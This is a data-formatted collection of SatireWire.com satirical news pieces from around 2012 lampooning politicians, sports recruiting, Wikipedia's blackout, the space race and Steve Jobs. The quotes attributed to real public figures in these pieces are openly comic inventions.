Kennedy gives his famous speech, "Ich bin ein zimmer 512" ("I am in room 512"). The red circles identify women who claim not to have slept with him. The report, entitled, “The President Who Camelot,” was released on the heels of new allegations over a Kennedy tryst with an intern from 1961-1963, and shoots down the common belief that JFK had sex several thousand times a day. “President Kennedy was in office for 1,036 days, and during that time there were about 18 million women in the U.S. between the ages of 18 and 24,” said the study’s co-author, Annette Ballerstrom, a professor of physics at the University of California-San Francisco. “For him to have slept with all 18 million of them, he would have had to have sex 17,324 times a day. Even conceding JFK took part in threesomes, that’s just ridiculous. “We believe 6,000 times a day is the maximum,” she added. “So that’s, like, 6.2 million, tops.” The UCSF study concedes that Kennedy did have affairs with everyone from staffers and reporters to mob girls and movie stars. But it refutes “mythical” tales of the President’s prowess, including a claim by the entire sophomore class of Georgetown University that they had sex with JFK on a 10-minute limousine ride from Dupont Circle to the White House. “I was a member of that class, and I wasn’t invited,” Ballerstrom said. “I don’t want to talk about it.” Ballerstrom’s report is supported by anecdotal evidence collected in a new book by former Kennedy intern Callie Ann Duprey, entitled, “What? Am I the Only One Here Who Hasn’t Done the Old Man?” Duprey, who at age 18 worked in the White House, said JFK never made a move on her, and insisted she wasn’t alone. “There were actually five or six of us, interns and low-level staffers, who were never ‘commanded by the chief,’ as we called it,” said Duprey. “We actually tried to start a support group, but it was really hard to find new members.” '], ['no-topic', 'SENIOR COMMITS TO TELLING FOLKS HE WAS RECRUITED BY ALABAMA', 'NORFOLK, VA. (SatireWire.com) — Ending a dramatic 24 hours for college football, Jimmy Taswell-Berk, a second-string senior quarterback and one of the nation’s most mediocre high school players, has committed to telling drunk girls at parties that he was recruited by the University of Alabama. Berk’s announcement was one of thousands made on National Commitment Day, when marginal high school players across the country decide which major college football programs they will, for the rest of their lives, falsely claim to have been recruited by. The 6’1” Berk, who will be lucky to make it as walk-on at a nearby small college, said Alabama was too impressive a program to say he turned down. Virginia Tech was popular among those who will say their parents made them turn down their scholarship for safety reasons. “I’ve thought long and hard over this decision, and although I appreciate the attention and interest I’m going to say I got from Coach Spurrier (South Carolina) and Coach Beamer (Virginia Tech), I’ve decided to say I was wanted badly by Alabama,” said Taswell-Berk in a live ESPNU broadcast. “I will say I couldn’t do it because it was just too far from home, which will hopefully convince people that’s the only reason I walked on at Hampton-Sydney College. “In addition I intend to wear an Alabama Crimson Tide sweatshirt every day for the next 20 years in the hope that somebody asks me about it,” he added. Commitment Day comes just a day after National Signing Day, when the country’s top high school players committed to their chosen universities. Analysts say it’s no surprise that national champion Alabama came out on top both days. “Right now you’d have to say the Crimson Tide have the nation’s top program, so of course they got the strongest recruiting class,” said ESPNU’s Darius James, a former running back for Div. III California Lutheran who still tells people he was recruited by UCLA. “The best kids want to secure a spot to play at the best schools, and the insecure kids want people to think they could actually have played at the best schools.” Other commitments included 5’9” safety Tim Thomas of Latrell High School in Kentucky, who chose the University of Cincinnati. “I feel like Cincinnati is a better fit for me,” said Thomas, who intends to explain, sadly, that a knee injury forced him to turn the offer down. “I think it’s much more likely that people will believe I was recruited by them than, say, LSU or Georgia, which are major programs with really big players.”. More than a few, however, were willing to reach for glory. At Aiken High School in South Carolina, half-decent tight end Brendan Rogers chose Georgia, saying he was swayed by teammate Nardell Kennedy’s decision to also pretend he had been recruited by the Bulldogs. “I really like the idea that Nardell and I will almost be teammates at Georgia in our minds,” he said. “I think if we work together and bolster each other’s claims, we’ll have a much better chance of getting people to believe us, particularly girls we wanna hook up with.” Although most of the attention fell on high schoolers, some of the biggest commitments came from junior college transfers like 5’-10” OT Ryan Kneil, who after not playing at St. Louis Community College for two years, will transfer to the University of Indiana-Kokomo where he will continue to not play but claim he could have somewhere. “I enjoyed St. Louis, but it was time for me to move on as people there frankly laughed when I told them I was recruited by Ohio State,” said Kneil, who in reality struggles to get his 250 pounds up a flight of stairs. “At Indiana-Kokomo I can get a fresh start since I’ll be claiming I was tapped by Montana State. That’s a strong program but small enough that I think I could plausibly claim I could have started.” While Alabama had the most commitments, the second spot went to Penn State, whose off-field troubles convinced several hundred marginal athletes to imaginarily reject the Nittany Lion’s advances. “For me it was a no-brainer,” said Troy Alves, the #3 tailback at Maryland’s Holyoke Prep. “Penn State offers me the opportunity to say I was recruited by a top program, but refused to go based on ethical grounds. I come off as a football player and sensitive at the same time. I tried it at a party last week and scored more than I ever did in on the field. “Actually no, I scored 104 touchdowns in high school,” Alves corrected. “I’m pretty sure that’s the number I’ll be using.” Coming at #3 was Stanford University, which picked up slow, relatively weak RB Marvonne Lewis of Demeter High School in Los Angeles. “I chose Stanford because it’s an excellent school academically and athletically, which gives me the opportunity to claim to be coveted both for my brain and my brawn,” said Lewis. “I know my decision will present challenges, but I’m ready. Like if a girl at a party asks me why I didn’t go to Stanford, I will say, ‘Because I wouldn’t have met you, baby.’ So as you can see this is something I’ve thought about for a long time.” While things may work out for Lewis, coaches warn that Chuck Gormer, a 195-lb. defensive tackle from Little Rock, Ark., may regret claiming he was recruited to play football at LSU. “Gormer is not moving away from home, so a lot of his high school classmates will still be around,” said Ohio State head coach Urban Meyer, who didn’t actually say that because in truth he didn’t return our phone calls. “They’ll know he was a 3rd-string long snapper who didn’t even make the team his senior year and they could expose him. That will ruin Gormer’s relationship with his gullible co-worker at the Sunoco station who was otherwise going to spread the rumor that Chuck was almost big time.” As for Jimmy Taswell-Berk, Alabama head coach Nick Saban said the Virginia quarterback would have “guaranteed Alabama a national championship” because we refused to stop pestering Saban until he said it. '], ['no-topic', 'CAMPAIGN-BASED CONCUSSIONS ON THE RISE', 'The FEC has mandated warning of CBTBI side-effects on all political commercials. ATLANTA (SatireWire.com) — Campaign-based concussions have risen 120 percent in the last month as voters across the country are repeatedly banging their heads in frustration against walls, countertops, or the nearest available hard object, the CDC reported today. “When you listen to what these candidates are saying, what their supporters are saying, and what the media is failing to say, it is almost impossible not to bang your head on something,” said CDC director Dr. Thomas R. Frieden. “Particularly in Florida, where negative ads can literally not be avoided, we are seeing catastrophic numbers. For many people, knocking yourself out is the only sure way to make it stop.” The number of campaign-based traumatic brain injuries (CBTBI) is a three-fold jump from the famously aggravating 2010 elections, and is likely to get much worse before the campaigns end in November, according to a new study in the CDC’s Morbidity and Mortality Weekly Report. It is believed that by the Presidential election in November, more than 6 in 10 Americans will suffer a self-inflicted campaign-based concussion. Frieden said walls, car dashboards, and television sets are the most common fixed objects used to cause trauma, although there are reports of voters using mailboxes, shelving, major appliances, trees, street curbing, support columns, and large shrubbery. Voters have also hit their heads with hammers, bricks, lightweight furniture, glass- and plateware, stereo equipment, Teddy Roosevelt biographies, shovels, satellite dishes, carry-on luggage and, ironically, political yard signs. Due to the outbreak, the Federal Election Commission has mandated that all political advertising include not only candidate approval, but the following side-effect disclaimer: “The content of this commercial may cause confusion, headache, nausea, vomiting, depression, anger, diarrhea, anxiety, heart palpitations, and paranoia. In some rare cases your head may explode.” CDC researcher Dr. Jane Withnall advised Americans to avoid politics if possible and be aware that symptoms might not develop immediately. “Keep in mind that if someone is showing signs of CBTBI on a Monday, it may be because of something that Newt Gingrich or Al Sharpton or Rush Limbaugh said last Friday,” she said. Withnall does not, however, advise voters to wear helmets until the elections. “In this case a helmet would simply become a readily available object to beat their own heads with.” The injuries are spread across demographic groups and have become so pervasive that CNN medical correspondent Dr. Sanjay Gupta said he will shift his focus on traumatic brain injury from young athletes to voting-age Americans for the next year. In a report this morning, Gupta urged viewers to be aware of the symptoms. “Headache is the number one symptom after a campaign-based concussion,” said Gupta. “Also, the person might have wild behavior swings, and have difficulty with concentration and memory. Basically, if they’re acting like Rick Perry, seek help immediately.” '], ['no-topic', 'TRANSCRIPT OF OBAMA-BREWER TARMAC TIFF RELEASED', 'PHOENIX, AZ (SatireWire.com) – Here is the complete transcript of the tarmac tiff between President Obama and Arizona Gov. Jan Brewer, whose clear disregard for one another boiled over during a heated and heretofore confidential meeting Wednesday as the President stepped off of Air Force One. Other than Brewer’s initial greeting of, “We kept the sun up for you,” neither side has verified this conversation as accurate. Professional lip-readers who provided the transcript conceded it was difficult to understand the participants as they insisted on smiling throughout. BREWER: Welcome to Arizona, Mr. President. The two maintained smiles throughout OBAMA: Thank you Governor. Delighted to be here. BREWER: We kept the sun up for you! That’s probably a surprise, since you think the sun shines out of your a.. OBAMA: That was very thoughtful, Governorl! But I hear you keep it on 24 hours here, to search for illegals. BREWER: Oh now Mr. President, you’re not worried about being caught, are you? OBAMA: On the contrary, Governor, I’m worried all this sun will brown your skin. You might have to arrest yourself. BREWER: Ooo, maybe I could go to the same jail your uncle was in! Sir. OBAMA: Ha ha. Keep smiling for the cameras, Governor. You wouldn’t want people to think you’re a disrespectful skank. BREWER: Ha ha. I am smiling Mr. President. I know you Communists are big on fake presentation. OBAMA: So I see you have a letter for me. Or is it my deportation papers? BREWER: Oh you’ve guessed. Sad face. OBAMA: Well at least that’ll get me away from you sooner, Governor. We must always look on the bright side, right? BREWER: Ha ha. Of course you’re welcome to go home any time, Mr. President. Shall I point you toward Kenya? OBAMA: Oh my dear Governor Brewer, you’d miss me when I’m gone. How about I send Seal Team 6 to your house to keep you company? BREWER: You are such a charmer, Mr. President! But we digress. Here’s the letter. It’s an invitation to tour the border with me and to sit down and talk about how we’re doing here in Arizona. And the first letter of each paragraph spells out ‘Fuck you.’ OBAMA: I’ll certainly consider that, Governor. And here I thought the only four-letter word you were comfortable with was ‘Nazi. BREWER: That’s funny, Mr. President, I thought the only four-letter word you were familiar with abusing was ‘Hope.’ OBAMA: Ha ha ha my dear Madame Governutjob. BREWER: Ha ha ha indeed Mr. Presidouchebag. OBAMA: While I pretend to laugh, Governor, let me say I’d be happy to meet with you, but you know the last time we met, you wrote about it in your book and were not very cordial. BREWER: Mr. President, I must say I’m surprised you read my book, since it isn’t entirely about you. OBAMA: And imagine my surprise to learn you can write, Governor. First a book, then a letter! Arizona truly is the ‘Land of Enchantment.’ BREWER: That’s New Mexico. OBAMA: I know, Governor. I just wanted to make you say ‘Mexico’ so I could see your face shrivel up. While I continue to smile. BREWER: Oh Mr. President, I wish you could visit our southern neighbor. But gosh, you don’t have a real birth certificate to get back in! Damn the luck, sir. OBAMA: Actually Governor, I think what we really need is a bigger border fence. Around the whole state. To keep you from getting out of Arizona. BREWER: Good idea, Mr. President, then you’d finally create some jobs. OBAMA: Oh Governor, at times like this I wish my job was dog catcher ’cause I see a bitch needs puttin’ down. BREWER: Ha ha. Yes well I… hey, don’t walk off! … How rude. '], ['no-topic', 'SOLAR STORM SHUTS DOWN MITT ROMNEY', "JACKSONVILLE, FL (SatireWire.com) – The massive solar radiation storm that struck Earth yesterday disrupted radio communications, knocked out satellite and computer systems, and shut down Mitt Romney for more than six hours. A campaign technician works on an upgrade during Romney's down-time. The autonomic presidential hopeful froze while giving a speech at 4:30 p.m. EST, and did not successfully reboot until 11 p.m. Observers in the room said they did not notice a marked difference, although campaign staff quickly called it one of Romney’s strongest speeches, as he did not change a previous position or make a remark that would alienate anyone making less than $5 million a year. The blast of energy from solar storms can cause fluctuations in Earth’s magnetic field, temporarily affecting navigation, power, communications systems, and integrated circuitry of the type believed to control the former Massachusetts governor. Romney staff members said they were surprised by the length of the outage, but insisted they were prepared. “We’ve had this problem once before, back in October, when he accidentally got wet,” said Sandip Gulari, who heads the candidate’s internal technology team and did a system upgrade during the shutdown. “I want to assure all our supporters that the Romney… that is, Gov. Romney, sustained no damage during the incident.” While this event will be gone by week’s end, scientists warn more powerful solar storms will arrive in the next few years. Romney advisors, however, insisted this would have little impact on his potential presidency. “Presidents do get to take a rest, they sleep, they have down time,” said campaign manager Matt Rhoades. “President Romney will be no different. He just won’t have to close his eyes.” "], ['no-topic', 'GINGRICH RELEASES LAST 10 YEARS OF VALENTINE’S CARDS', 'TAMPA, FL (SatireWire.com) — GOP hopeful Newt Gingrich sought to fend off attacks on his family values and marital infidelity today by releasing the last 10 years of his Valentine’s Day cards sent to current wife, Callista. The 68-year-old Gingrich, who left his first wife while she had cancer and divorced his second wife shortly after learning she had multiple sclerosis, described his relationship with third wife Callista, 45, as “very healthy,” and said he did not expect that to change as long as she remains “very healthy.” SEE NEWT’S 2004 VALENTINE –> IMAGE 1 OF 10. SEE NEWT’S 2004 VALENTINE –> Previous Topic: NEWT’S 2004 VALENTINE Next Topic: SOLAR STORM SHUTS DOWN MITT ROMNEY'], ['no-topic', 'NEWT’S 2004 VALENTINE', '<– NEWT’S 2003 VALENTINE __________________ NEWT’S 2005 VALENTINE –> <– NEWT’S 2003 VALENTINE __________________ NEWT’S 2005 VALENTINE –> Previous Topic: NEWT’S 2005 VALENTINE Next Topic: GINGRICH RELEASES LAST 10 YEARS OF VALENTINE’S CARDS'], ['no-topic', 'NEWT’S 2005 VALENTINE', '<– NEWT’S 2004 VALENTINE __________________ NEWT’S 2006 VALENTINE –> <– NEWT’S 2004 VALENTINE __________________ NEWT’S 2006 VALENTINE –> Previous Topic: NEWT’S 2006 VALENTINE Next Topic: NEWT’S 2004 VALENTINE'], ['no-topic', 'NEWT’S 2006 VALENTINE', '<– NEWT’S 2005 VALENTINE __________________ NEWT’S 2007 VALENTINE –> <– NEWT’S 2005 VALENTINE __________________ NEWT’S 2007 VALENTINE –> Previous Topic: NEWT’S 2007 VALENTINE Next Topic: NEWT’S 2005 VALENTINE'], ['no-topic', 'NEWT’S 2007 VALENTINE', '<– NEWT’S 2006 VALENTINE __________________ NEWT’S 2008 VALENTINE –> <– NEWT’S 2006 VALENTINE __________________ NEWT’S 2008 VALENTINE –> Previous Topic: NEWT’S 2008 VALENTINE Next Topic: NEWT’S 2006 VALENTINE'], ['no-topic', 'NEWT’S 2008 VALENTINE', '<– NEWT’S 2007 VALENTINE __________________ NEWT’S 2009 VALENTINE –> <– NEWT’S 2007 VALENTINE __________________ NEWT’S 2009 VALENTINE –> Previous Topic: NEWT’S 2009 VALENTINE Next Topic: NEWT’S 2007 VALENTINE'], ['no-topic', 'NEWT’S 2009 VALENTINE', '<– NEWT’S 2008 VALENTINE __________________ NEWT’S 2010 VALENTINE –> <– NEWT’S 2008 VALENTINE __________________ NEWT’S 2010 VALENTINE –> Previous Topic: NEWT’S 2010 VALENTINE Next Topic: NEWT’S 2008 VALENTINE'], ['no-topic', 'NEWT’S 2010 VALENTINE', '<– NEWT’S 2009 VALENTINE __________________ NEWT’S 2011 VALENTINE –> <– NEWT’S 2009 VALENTINE __________________ NEWT’S 2011 VALENTINE –> Previous Topic: NEWT’S 2011 VALENTINE Next Topic: NEWT’S 2009 VALENTINE'], ['no-topic', 'NEWT’S 2011 VALENTINE', '<– NEWT’S 2010 VALENTINE __________________ NEWT’S 2012 VALENTINE –> <– NEWT’S 2010 VALENTINE __________________ NEWT’S 2012 VALENTINE –> Previous Topic: NEWT’S 2012 VALENTINE Next Topic: NEWT’S 2010 VALENTINE'], ['no-topic', 'NEWT’S 2012 VALENTINE', '<– NEWT’S 2011 VALENTINE __________________ NEWT’S 2003 VALENTINE –> <– NEWT’S 2011 VALENTINE __________________ NEWT’S 2003 VALENTINE –> Previous Topic: PERRY TRIUMPHANTLY LISTS ALL 3 REASONS HE DROPPED OUT Next Topic: NEWT’S 2011 VALENTINE'], ['no-topic', 'PERRY TRIUMPHANTLY LISTS ALL 3 REASONS HE DROPPED OUT', 'COLUMBIA, S.C. (SatireWire.com) — Serial forgetter Rick Perry declared victory today after successfully being able to remember all three reasons he dropped out of the GOP presidential race. Texas Gov. Rick Perry successfully navigates his concession speech. “I’m suspending my bid because I’m not going to win, I’m taking votes away from others, and I’m running out of finances,” Perry told a roomful of supporters, barely pausing between reasons. “That’s… three!” he beamed as campaign manager Joe Allbaugh gave him a gold star. In response, loyal staffers shouted, “We love you Rick!”, prompting Perry to point out that his name is also Rick. As the press conference continued, Perry grew more excited about his newfound ability to recall things. “Now that the pressure’s off, I can remember more, and I don’t mean just the names of Supreme Court judges or government departments I was going to cut,” he said. “Shoot, I can remember phone numbers, my dog’s name, probably all 48 state capitals. “Just think, if I’da quit the race before Iowa, I coulda won there.” The one-time Republican frontrunner then grew silent, causing the crowd to hush. “Aw shoot, I can also remember some of the stuff I said on the campaign trail,” he mumbled. “Shoot, shoot… um…” “Shoot?” coaxed a staffer. “Yeah, shoot,” Perry said. '], ['no-topic', '27M STUDENT ESSAYS ARE GONNA BE LATE', 'No matter what you type in at Wikipedia, you get this. SAN FRANCISCO (SatireWire.com) – Internet site Wikipedia has shut down for 24 hours in a move that may cause Congress to reconsider proposed anti-piracy legislation and will cause at least 27 million student essays to be turned in a day late. Maybe two. On its otherwise unavailable pages, the information supersite said proposed bills in the U.S. House and Senate threaten Internet freedom, but University of Washington freshman Josh Baldino said the bigger threat is to his History 111 paper on the Treaty of Ghent. “It was assigned like a month ago and was due Wednesday, so I was gonna research and write it just before class but I couldn’t because Wikipedia was off,” explained Baldino. “So either I skip class or say the Treaty of Ghent never happened, which maybe is true, I don’t know because Wikipedia can’t tell me.” Baldino said repeated attempts to find out what the Treaty was were unsuccessful as Wikipedia kept returning a black page. Repeated attempts to use other sources to find out what the Treaty was were not made as that’s what Wikipedia is for, he added. For Atlanta high school senior Kelly Gale, the absence of her go-to research site means Mr. Washington can forget about seeing anything from her on mollusk reproduction. “I’m supposed to have two separate sources and of course we’re not allowed to use Wikipedia but technically I don’t ‘cause I scroll to the bottom of the Wikipedia page and write down the sources for the article as my sources,” she said. “Yes, I am an honors student, thanks.” Looking for options, Gale said she even went to Google and searched for, “Can I write a paper without using Wikipedia?” The first two results were from Wikipedia (true). “It’s like I’m caught in a vicious circle,” she said. Long Island high school junior Bobby Drakowski, whose paper on glaciers will be both delayed and remarkably similar to his 18 geography classmates, said he admires Wikipedia’s stance on freedom. “I would quote some famous guy talking about freedom right here but I can’t ‘cause, well, you know,” he said. In a related note, Republican presidential hopeful Newt Gingrich today accused Wikipedia of going black, “just to get on food stamps,” but later took off his Klan hood an apologized. '], ['no-topic', 'IN NEW SPACE RACE, U.S. VOWS TO MATCH RUSSIAN FAILURES', 'MOSCOW (SatireWire.com) – NASA will begin sabotaging its own rockets in an effort to keep up with longtime space foe Russia, which has taken a huge lead by losing no less than eight spacecraft in the past year, including the Phobos-Grunt probe that crashed to Earth Sunday. In response to the American escalation pledge, Russia said it will double its number of crashes by the end of 2012 by failing to install any navigation software. Competing prototypes of hopefully unsuccessful U.S. (top) and Russian rocket designs In response to that, the U.S. said it will launch rockets without enough fuel. In response to that, Russia said it will launch a rocket with plenty of fuel but it will turn out to be diesel fuel and ruin the engine. In response the U.S. said it will launch a rocket that seems to work absolutely perfectly but is actually afraid of heights. In response Russia said it will turn its rockets on their heads and just shoot them directly into the ground. In response the U.S. said it will launch a rocket with another rocket strapped beside it that faces downward ‘cause that would look cooler. In response Russia said it will unveil a new “Boomerang” rocket that will be thrown by a giant robotic arm and return directly to Earth every time which doesn’t sound as damaging but is way way more expensive. In response the U.S. said it will launch its next rocket inside of a mountain without first making an opening in the mountain. In response Russia said it will tie a rocket to a mountain with a really long rope so when it tries to take off the rocket’s axle rear axle comes off. Like in the movies. In response the U.S. said rockets don’t have rear axles. In response Russia said ours do. In response the U.S. said whatever. In response Russia said it will no longer use the term ‘launch pad’ but instead use the term ‘horrific crash pad.’ In response the U.S. said it will change its launch countdown from “3-2-1-liftoff” to “3-2-1-oh-my-God-duck!” In response Russia said its cosmonauts will be so drunk they won’t even be able to count down from 3. In response the U.S. said its astronauts will be required to text while flying. In response Russia said all its cosmonauts will be recruited from the ranks of Italian cruise ship captains. In response the U.S. said “too soon.” In response Russia said its next rocket will be made of butter and melt on the horrific crash pad. In response the U.S. said it will make a rocket entirely out of grated cheese. In response Russia said its rockets will be made from a crumbly cheese. In response the U.S. said what kind of crumbly cheese? In response Russia said it was thinking something salty, like Brynza. In response the U.S. said an aged Edelpilz Blue might be better, especially served on a pear salad with walnuts. In response Russia said that sounds delicious, but it’s allergic to nuts. In response the U.S. said tell me about it, all our kids have peanut allergies. Literally all of them. In response Russia said you have to be so careful nowadays, especially with school lunches. In response the U.S. said you also have to read food labels. Everything has nuts. In response Russia said it found out only yesterday that Caesar dressing has anchovies in it. In response the U.S. said oh my God I’m never having Caesar dressing again I hate anchovies. In response Russia said don’t be hatin’ on anchovies ‘cause the best anchovies in the world come from Russia and we put ‘em in lots of things. In response the U.S. said yeah that’s probably why Russian food sucks so bad LOL. In response Russia said dude what’s your problem? In response the U.S. said dude what’s your problem? In response the Russia said it doesn’t have a problem but you’re gonna have a problem when we launch a rocket made entirely of peanuts at the U.S. In response the U.S. just like totally hung up on Russia. '], ['no-topic', 'VIDEO SHOWS BAIN EXECUTIVES URINATING ON LAID-OFF WORKERS', 'COLUMBIA, S.C. (SatireWire.com) – Efforts to paint Mitt Romney as a heartless corporate raider were reinforced today after a 1992 videotape surfaced showing Bain Capital executives urinating on helpless, laid-off workers. “People say I don’t understand, but there were a couple of times when I wondered if I was going to get urinated on," said Romney. Romney, the former Bain CEO, distanced himself from the footage by pointing out he was not in it. He conceded, however, that Bain regularly urinates on the unemployed, “but only from companies we ourselves take over and shut down, as is our right.” The grainy video, taken when Romney led the private investment firm, clearly shows five executives urinating on employees they had just fired from the Grohl paper plant in Ohio — a plant Bain had bought only six months before. Romney’s Republican primary opponents condemned the act as “utterly deplorable” and another example of the GOP frontrunner’s disrespect for the unemployed. Romney, however, accused his rivals of disrespecting capitalism. “People see this video and they think, ‘Oh my God, what are they doing?’ Well I’ll tell you what they’re doing. They’re participating in America’s free enterprise system,” said Romney. “In a private equity firm like Bain, when you take over a company, you try to help it grow. And if you can’t, you have to let people go. And urinate on them. It’s part of the process.” Asked why, Romney bristled. “Why?” he said. “Gee, I don’t know. Why does the sun come up in the morning? Why do the stars not fall on our heads? Why is America the greatest country on Earth? It’s just the way things are.” Rival Newt Gingrich immediately accused Romney of degrading the victims of economic failure, a tactic Romney said will backfire. “This just shows how little Newt understands modern business,” Romney said. “In America today, when a company fails, it’s not the unemployed who are the victims. It’s the private equity investors, people whose tens of millions of dollars may be reduced to lesser tens of millions of dollars. We don’t urinate on them. That would be awful.” At a speech in Columbia, S.C., Texas Gov. Rick Perry called it “shocking” that Romney would take part in the ritual. But Romney again fired back. “First of all, I personally never took part in these sessions. Ever,” he said. “You know, stage fright. “And the only thing shocking about this is that by attacking capitalism, my Republican colleagues are suddenly sounding an awful lot like Barack Obama, a man who has never created a job or urinated on an ex-employee in his life.” In nearby Orangeburg, Rick Santorum called it another example of Romney favoring the wealthy. The frontrunner quickly accused his rivals of wrongly waging class warfare when the facts show Bain did not favor the rich over the poor. “When we fired employees, we didn’t just target the factory workers and the hourly wage folks,” he said. “For instance, when we took apart (photo album company) Holson Burnes in South Carolina, we had to fire the CEO, fire the President, fire the entire board of directors. And urinate on them. Obviously.” Gov. Perry, however, refused to let up and continued to hammer away at the belief that private equity firms like Bain were “vultures” that monitored struggling companies and then swept in to “eat the carcass.” Romney called the assertion, “the most ridiculous thing I’ve heard yet.” “You don’t eat the carcass after you’ve urinated on it,” he said. “That’s just common sense.” At a campaign stop today in Gaffney, S.C., the former Massachusetts governor urged voters to instead focus on all the good Bain did under his tenure. “Yes some of our investments failed, but many of them succeeded,” he said. “At Bain we created more jobs than we lost, meaning we didn’t urinate on more employees than we did. :More jobs, less urination. That’s my prescription for America.” '], ['no-topic', 'JOBS CONVINCES GOD TO FOCUS ON END USER; LIFE TO IMPROVE', 'CUPERTINO, CAL (SatireWire.com) – After just three months together, the late Steve Jobs has convinced God to focus on customer experience rather than divine adoration, a remarkable shift in deific direction that should see life improve dramatically for Earth’s 7 billion end users. "Mr. Jobs has made a believer of God," according to sources. The former Apple CEO, who died Oct. 5, reportedly persuaded the Lord that people are “existence consumers,” and that He needs to make their lives more user-friendly to maintain a dominant position in the market. “As Mr. Jobs put it to God, you want people to have a positive experience with every interaction. You want them to say, ‘Hey, God is really useful, something I can use in my everyday life,’” said a man identifying himself Galadriel, God’s new vice president of product development. “Mr. Jobs has made a believer of God.” The new approach — codenamed “Life 2.0” as “iLife” was already registered by Apple – is still pre-beta and under non-disclosure, but is expected to include improvements on health and security issues. Whatever happens, it will mark a monumental change. Historically, life has been brutish and short for the majority of existence consumers, who have often suffered pain, depredation, and humiliation while being told they should give thanks for the experience. Added to that are the panoply of rival operating faiths that have confused the market, seeding it with conflicting explanations and instruction manuals written in different languages. Apple engineer Seth Greending, who secretly worked with Jobs on the “Life 2.0 Project” for several years before the CEO’s death, said he wasn’t surprised his former boss had helped the Almighty see the Next Big Thing. “Steve is, was, quite the evangelist, and he had a powerful argument to make,” said Greending. “Since the introduction of the EUI, or Existence User Interface, life has been a struggle, frankly. It was never about the end user and how he or she interacted with the environment God created.” More confusing were the times God intervened to smite whole populations, or perform a miracle, at random and with no explanation. “This created an unpredictable, unstable environment for the consumer,” said Greending. “God works in mysterious ways, but the end user doesn’t want mysterious. The end user wants clarity, simplicity, something you can look at and say, ‘Boom! It just works!’ “The bottom line is, life shouldn’t be like Microsoft Windows, where it’s a miracle when it works right,” he added. Particularly baffling was the counter-intuitive nature of the EUI. “We see examples of this all across the spectrum,” Greending explained. “Humans have to eat to live, yet what they eat can kill them. Counter-intuitive. Humans want to have sex, but are made to feel guilty for it. Counter-intuitive. God visits you with hardship, but you have to love Him. Counter-intuitive.” And of course there’s the big one: people want to live forever, but they have to “die” to have a chance at it. For Shiram Gudhjami, another Apple engineer from the Life 2.0 Project, this is a classic example of a non-consumer-facing organization. “If I’m offered competing lives, one of happiness and health for 70 years, and another of hardship and struggle for 70 years with only the “possibility” of living on afterward, I’m going for happiness,” said Gudhjami. “But of course there is no competition, so the organization stagnates. Same thing happened to the Greeks and the Romans. And IBM.” The current system is rife with often conflicting operating faiths. While Life 2.0 promises to make life easier, some are concerned it may be too easy, causing humans to stop striving. But Galadriel dismissed that fear. “On the contrary,” he said, “people — the end users — will be our de facto development team. They’ll come up with platform agnostic innovations and solutions that we apply across the entire consumer spectrum.” He conceded, however, that Life 2.0 has run into two hurdles. The first: life is spread across sometimes conflicting platforms, otherwise known as operating faiths. For example, they’re running Christianity in the West, Judaism and Islam in the Middle East, Buddhism in the Far East. These aren’t always compatible, so a solution made for Islam won’t always work with Christianity, or vice versa. “We’ve got to introduce a platform agnostic faith so that our end-user developers don’t have to learn different languages and sets of instructions,” he said. “We need a one-size-fits-all solution that’s flexible and scalable. We’re working on it.” The other problem is resistance from legacy users. “People are used to the old systems and they don’t want change,” Galadriel said. “They know how it works and they think it’s too much trouble to learn a new system. All the weeks and years spent in training.” God’s initial solution to the legacy problem was to smite those who refused to migrate to the new platform, but Jobs apparently talked Him out of it. “Mr. Jobs explained that smiting was in fact part of the legacy system and that continuing to smite would cause the consumer to lose confidence in any new platform,” said Galadriel. As for life’s built-in obsolescence, a continual complaint among end users, Galadriel said there are no plans to address that. “Everything has a product cycle, people included,” he said. “That’s what keeps you innovating, trying to improve what you have while coming up with the next ‘Next Big Thing.’ And after Life 2.0, what might that be? Galadriel, God, and Mr. Jobs aren’t saying, pointing out that Bill Gates will die one day and probably try to steal it. '], ['no-topic', 'DOOMSDAY CLOCK TO USE DAYLIGHT SAVINGS; WORLD ENDS MARCH 11', 'CHICAGO (SatireWire.com) — The Doomsday Clock, which gauges threats to humanity and is now set at just 5 minutes to midnight, will “spring forward” one hour in March to account for Daylight Savings Time, a decision scientists say will bring it in line with other official timepieces and unfortunately cause the world to end. Maintained by the Bulletin of the Atomic Scientists at the University of Chicago, the famous clock’s hands estimate the amount of time Earth has left before global destruction due to nuclear war, climate change and the like. Thanks to a campus-wide directive requiring all University of Chicago timepieces to be synchronized, the clock will be moved forward by one hour on March 11, 2012, meaning the hands will read 5 minutes before one in the morning, a solid 55 minutes too late for humanity. Bulletin executive director Kennette Benedict said he wasn’t happy about the directive, and apologized for any inconvenience it may cause. “We’ve never used Daylight Savings before, and I tried to argue that we can’t change this particular clock because of the danger, but you know how bureaucracies are,” Benedict explained. “I told them the world will end, and they were like, ‘All departments who fail to comply with this directive will have their budgets reviewed.’ Bastards.” “I swear the only things to survive the apocalypse will be cockroaches and bureaucrats,” he added. Although the clock has been adjusted 20 times since its inception in 1947, never has it been moved more than a few minutes. Bulletin board member Robert Socolow, an aerospace professor at Princeton University, advised people to stay calm and put the adjustment into perspective. “Time changes are always slightly disorienting. This one will simply be infinitely moreso,” Socolow said. “You know how, every Spring, you set your clocks forward and then you wake up the next morning and think, ‘Damn, I’ve lost an hour’? Well, it’ll feel just like that. Except you’ll think, ‘Damn, I’ve lost everything.’ Including the ability to think.” Fellow board member Allison Macfarlane, a professor at George Mason University, stressed the end could have been worse. “I was always afraid we would die in a plague or a firestorm or something awful,” Macfarlane admitted. “But with this, we just move the hands and voila! We’re all dead. “At least that’s what we assume will happen,” she said. “We should probably research it further, but there’s not enough time to get a government grant.” '], ['no-topic', 'JESUS LEAVES BRONCOS, SIGNS WITH PATRIOTS', 'BOSTON (SatireWire.com) – Tired of living in quarterback Tim Tebow’s shadow, Jesus Christ left the Denver Broncos today and signed as a free agent with the New England Patriots, who will face Denver in an intriguing AFC playoff game on Saturday. Jesus with Patriots owner Robert Kraft New England denied they signed Jesus specifically to counter Tebow, insisting their starting free safety, Patrick Chung, was inexplicably raptured late Sunday. Moments later, Christ appeared with His agent at the Patriots’ training facility and offered to fill the defensive role. Previously, Jesus had backed Tebow during the Broncos’ miraculous run to the playoffs, including an overtime victory Sunday against the Pittsburgh Steelers. Christ Himself said he enjoyed his time with Denver, but felt He needed to make a move. “I’m getting on, and at this stage of my career I couldn’t pass up the opportunity to start with a title contender,” said Jesus, who will wear the number 1 jersey. “I may be the King of Kings, but I need the ring of rings, baby. Jesus needs a Super Bowl ring.” In a calmer moment, Christ added that compassion was another motive. “When the Broncos offense needed help, I was there for them,” he said. “But have you seen the Patriots’ defense? Twenty-one points 